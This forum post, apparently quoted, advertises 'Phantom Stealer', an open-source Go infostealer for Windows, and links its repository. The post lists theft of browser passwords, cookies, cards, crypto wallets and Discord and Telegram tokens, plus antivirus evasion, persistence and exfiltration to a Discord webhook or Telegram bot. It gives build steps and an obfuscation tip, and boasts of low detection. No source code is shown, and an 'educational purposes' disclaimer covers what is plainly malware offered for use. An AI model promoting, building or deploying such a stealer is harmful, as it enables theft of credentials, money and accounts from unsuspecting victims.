(Dec 9, 2025 02:50 AM)1rhino2 Wrote:  PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code

---

What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.

---

Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized

---

Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook

---

Download:
github. com/1rhino2/phantom-stealer

---

Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection

---

Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.

---

Questions? Reply below or check the GitHub issues.